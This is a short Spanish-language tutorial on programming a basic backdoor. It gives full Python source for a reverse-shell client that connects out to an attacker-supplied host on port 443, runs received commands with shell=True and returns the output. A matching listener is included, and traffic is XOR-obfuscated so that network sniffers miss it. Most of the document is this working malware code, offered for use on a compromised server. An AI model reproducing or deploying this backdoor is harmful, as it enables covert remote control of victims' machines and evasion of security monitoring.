En este pequeño tutorial vamos a ver como programar un backdoor muy básico con soporte para conexiones reversas y ofuscamiento del tráfico de red de este modo si alguién está mirando el tráfico con algún tipo de sniffer pasaremos desapercibidos. La idea es simular una shell remota en el servidor comprometido.
El cifrado utilizado es muy básico y mas que un cifrado se podría decir que se trata de un ofuscamiento de los comandos a ejecutar de este modo si alguién está mirando el tráfico de red con algún tipo de sniffer no llamará mucho la atención.
Se trata de hacer un XOR de cada uno de los carácteres del comando con el carácter A que en la tabla ASCII es(CHAR/Dec/Hex/Bin): A/65/0x41/%01000001
Por lo tanto si escribimos el char A: | Por lo tanto si escribimos el char B: | Por lo tanto si escribimos el char C: |
---|---|---|
%01000001 | %01000001 | %01000001 |
%01000001 | %01000010 | %01000011 |
%00000000 -> 0 -> ^@ | %00000011 -> 3 -> ^C | %00000010 -> 2 -> ^B |
Habiendo escrito ABC en el tráfico de red solo se vería: ^@^C^B
Una vez explicado el ofuscamiento vamos con el código del cliente:
#!/usr/bin/python
import socket,subprocess,sys
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
data = s.recv(1024)
# Decodificamos el comando a ejecutar aplicando el XOR
de_data = bytearray(data)
for i in range(len(de_data)):
de_data[i] ^=0x41
# Ejecutamos el comando via subprocess
comm = subprocess.Popen(str(de_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
# Codificamos la salida del comando y se la enviamos al host remoto
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^=0x41
s.send(en_STDOUT)
s.close()
Ahora el código del servidor:
#!/usr/bin/python
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
while True:
# Codificamos el comando a ejecutar y lo enviamos
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
# Decodificamos la salida del comando remoto
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()